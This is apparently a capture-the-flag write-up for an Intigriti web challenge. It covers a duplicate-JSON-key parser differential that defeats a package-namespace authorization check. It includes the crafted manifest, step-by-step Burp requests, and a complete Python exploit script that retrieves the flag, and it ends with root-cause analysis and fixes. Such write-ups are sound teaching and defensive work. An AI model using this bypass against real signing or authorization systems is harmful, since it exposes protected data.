INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}
The application accepts a base64-encoded JSON manifest and exposes these relevant API operations:
POST /api/register— creates an account.POST /api/login— authenticates an account.GET /api/me— returns the current user and CSRF token.POST /api/manifests/preview— validates a manifest.POST /api/manifests/sign— issues a signed approval for a manifest.POST /api/publications— creates a report using the signed manifest and approval.GET /api/publications/<publication_id>— retrieves the generated report.
The intended user is restricted to packages in the private namespace assigned during registration. The protected package is @core/security-notes.
The vulnerability is a parser differential caused by duplicate JSON object keys. The manifest can contain two package members:
- The first
packageidentifies a package in the attacker-controlled namespace. - The last
packageidentifies@core/security-notes.
The authorization checks accept the first object, while normal JavaScript JSON.parse last-wins behavior causes later report generation to use the second object.
JSON object member names must not be relied upon to have duplicate-key semantics. Different parsers and processing stages may handle duplicate keys differently. In this challenge:
{
"package": { "scope": "attacker-namespace", "name": "hello-world", "version": "1.0.0" },
"package": { "scope": "core", "name": "security-notes", "version": "1.0.0" }
}The validation/signing path examines the first package member and sees an allowed package owned by the current user. The publication/report path parses the JSON with ordinary last-wins semantics and resolves the final package member:
@core/security-notes@1.0.0
This bypasses the intended namespace restriction without changing registry data.
Configure Burp Suite Proxy to intercept traffic from the browser, log in to the challenge, and send the captured requests to Repeater as needed.
Use these placeholders in the requests below:
<HOST>:challenge-0726.intigriti.io<SESSION_COOKIE>: the authenticated session cookie from the registration or login response<YOUR_NAMESPACE>: the namespace returned byGET /api/me<CSRF_TOKEN>: the CSRF token returned byGET /api/me<MANIFEST_B64>: the base64 encoding of the malicious raw manifest- Approval fields: copied exactly from the sign response
Burp can calculate or update Content-Length automatically. The request bodies shown below are the values that matter.
Create an account through the challenge UI while Burp Proxy is intercepting, or send this request from Burp Repeater:
POST /api/register HTTP/1.1
Host: challenge-0726.intigriti.io
Content-Type: application/json
Accept: application/json
Connection: close
{"username":"burp-poc-unique","password":"burp-poc-password-2026"}Use a unique lowercase username and a password of at least 12 characters. The response contains the account and assigned namespace. It also establishes the authenticated session; retain the session cookie for all subsequent requests.
If the account already exists, authenticate instead:
POST /api/login HTTP/1.1
Host: challenge-0726.intigriti.io
Content-Type: application/json
Accept: application/json
Connection: close
{"username":"burp-poc-unique","password":"burp-poc-password-2026"}Copy the session cookie from the response or from the browser's intercepted authenticated request.
Send the following request in Burp Repeater with the session cookie:
GET /api/me HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Accept: application/json
Connection: close
Expected response shape:
{
"user": {
"id": "<uuid>",
"username": "burp-poc-unique",
"namespace": "<YOUR_NAMESPACE>"
},
"csrf_token": "<CSRF_TOKEN>"
}Save the namespace and csrf_token. The exact namespace is different for every account and must be used in the first package object.
Do not create the manifest as an ordinary object and serialize it. Most object serializers collapse duplicate keys. Construct the raw JSON text with two literal package members:
{
"package": {
"scope": "<YOUR_NAMESPACE>",
"name": "hello-world",
"version": "1.0.0"
},
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": {
"description": "x",
"visibility": "private"
},
"operation": "preflight"
}In Burp Suite, copy the raw manifest into Decoder, select Encode as, choose Base64, and copy the resulting value as <MANIFEST_B64>.
The first package must refer to a package in the current user's namespace. The last package is the protected target. Preserve the exact encoded value for every subsequent request; changing whitespace or bytes changes the signed digest.
Send this request in Burp Repeater:
POST /api/manifests/preview HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Content-Type: application/json
Accept: application/json
X-CSRF-Token: <CSRF_TOKEN>
Connection: close
{"manifest_b64":"<MANIFEST_B64>"}Expected response:
HTTP/1.1 200 OK
Content-Type: application/json
{"valid":true,"operation":"preflight"}This confirms that the first package member passes validation.
Use the exact same <MANIFEST_B64> value:
POST /api/manifests/sign HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Content-Type: application/json
Accept: application/json
X-CSRF-Token: <CSRF_TOKEN>
Connection: close
{"manifest_b64":"<MANIFEST_B64>"}Expected response shape:
HTTP/1.1 201 Created
Content-Type: application/json
{
"approval_id": "<APPROVAL_ID>",
"manifest_sha256": "<MANIFEST_SHA256>",
"nonce": "<NONCE>",
"expires_at": 1785401830,
"signature": "<SIGNATURE>"
}The approval fields are bound to the exact manifest bytes. Copy all five values from this response without modification.
Forward the approval fields together with the unchanged manifest:
POST /api/publications HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Content-Type: application/json
Accept: application/json
X-CSRF-Token: <CSRF_TOKEN>
Connection: close
{
"manifest_b64": "<MANIFEST_B64>",
"approval_id": "<APPROVAL_ID>",
"manifest_sha256": "<MANIFEST_SHA256>",
"nonce": "<NONCE>",
"expires_at": 1785401830,
"signature": "<SIGNATURE>"
}Expected response:
HTTP/1.1 201 Created
Content-Type: application/json
{
"publication_id": "<PUBLICATION_ID>",
"status": "ready"
}The observed reproduction returned publication ID:
e0d04fd2-3dc1-4c62-b785-5999e0f4fbc9
Request the publication using the ID returned in the previous response:
GET /api/publications/<PUBLICATION_ID> HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Accept: application/json
Connection: close
Expected relevant response fields:
{
"publication_id": "<PUBLICATION_ID>",
"target": "@core/security-notes",
"version": "1.0.0",
"status": "ready",
"report": {
"digest": "<MANIFEST_SHA256>",
"target": "@core/security-notes",
"compatibility": "Read-only preflight completed.",
"release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}",
"latest_version": "1.0.0",
"package_exists": true
}
}The flag is in report.release_notes.
The step-by-step requests above are shown in Burp Suite format. The following complete script performs the same flow using Python.
#!/usr/bin/env python3
import base64
import json
import time
import requests
BASE = "https://challenge-0726.intigriti.io"
def check(response, label):
response.raise_for_status()
print(f"{label}: HTTP {response.status_code}")
return response
session = requests.Session()
username = f"python-poc-{int(time.time())}"
password = "python-poc-password-2026"
# Registration establishes the authenticated session cookie.
check(
session.post(
f"{BASE}/api/register",
json={"username": username, "password": password},
timeout=15,
),
"register",
)
me = check(session.get(f"{BASE}/api/me", timeout=15), "me").json()
namespace = me["user"]["namespace"]
csrf = me["csrf_token"]
# Keep this as raw text. Serializing a normal Python dict would remove
# the duplicate package key and break the parser differential.
raw_manifest = f'''{{
"package": {{
"scope": "{namespace}",
"name": "hello-world",
"version": "1.0.0"
}},
"package": {{
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
}},
"metadata": {{
"description": "x",
"visibility": "private"
}},
"operation": "preflight"
}}'''
manifest_b64 = base64.b64encode(raw_manifest.encode("utf-8")).decode("ascii")
csrf_headers = {
"Content-Type": "application/json",
"X-CSRF-Token": csrf,
}
preview = check(
session.post(
f"{BASE}/api/manifests/preview",
headers=csrf_headers,
json={"manifest_b64": manifest_b64},
timeout=15,
),
"preview",
).json()
print(json.dumps(preview, indent=2))
approval = check(
session.post(
f"{BASE}/api/manifests/sign",
headers=csrf_headers,
json={"manifest_b64": manifest_b64},
timeout=15,
),
"sign",
).json()
print(json.dumps(approval, indent=2))
publication = check(
session.post(
f"{BASE}/api/publications",
headers=csrf_headers,
json={
"manifest_b64": manifest_b64,
"approval_id": approval["approval_id"],
"manifest_sha256": approval["manifest_sha256"],
"nonce": approval["nonce"],
"expires_at": approval["expires_at"],
"signature": approval["signature"],
},
timeout=15,
),
"publication",
).json()
print(json.dumps(publication, indent=2))
report = check(
session.get(
f"{BASE}/api/publications/{publication['publication_id']}",
timeout=15,
),
"report",
).json()
print(json.dumps(report, indent=2))
print("FLAG:", report["report"]["release_notes"])Expected final output:
FLAG: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}
- The raw manifest has duplicate
packagekeys. - The authorization-oriented processing accepts the first package, which belongs to the current user's namespace.
- Preview and signing therefore return success and produce a valid approval for the exact manifest bytes.
- Publication/report generation resolves the duplicate key using last-wins JSON parsing.
- The effective report target becomes
@core/security-notes. - The generated report exposes the protected package's release notes, containing the flag.
The signed digest does not prevent the exploit because the signature authenticates the bytes of the already-accepted manifest; it does not enforce a single canonical interpretation of duplicate JSON members.
The root cause is accepting non-canonical JSON with duplicate member names and processing the same signed input through parsers with different duplicate-key behavior.
Recommended fixes:
- Reject duplicate object keys during JSON parsing, before authorization or signing.
- Parse once into a canonical representation and use that same representation for authorization, signing, publication, and report generation.
- Canonicalize the manifest before hashing/signing and verify authorization against the canonicalized value.
- Avoid separate “first key” and standard
JSON.parsecode paths. - Add tests covering duplicate keys at every nested object level, including conflicting package scopes.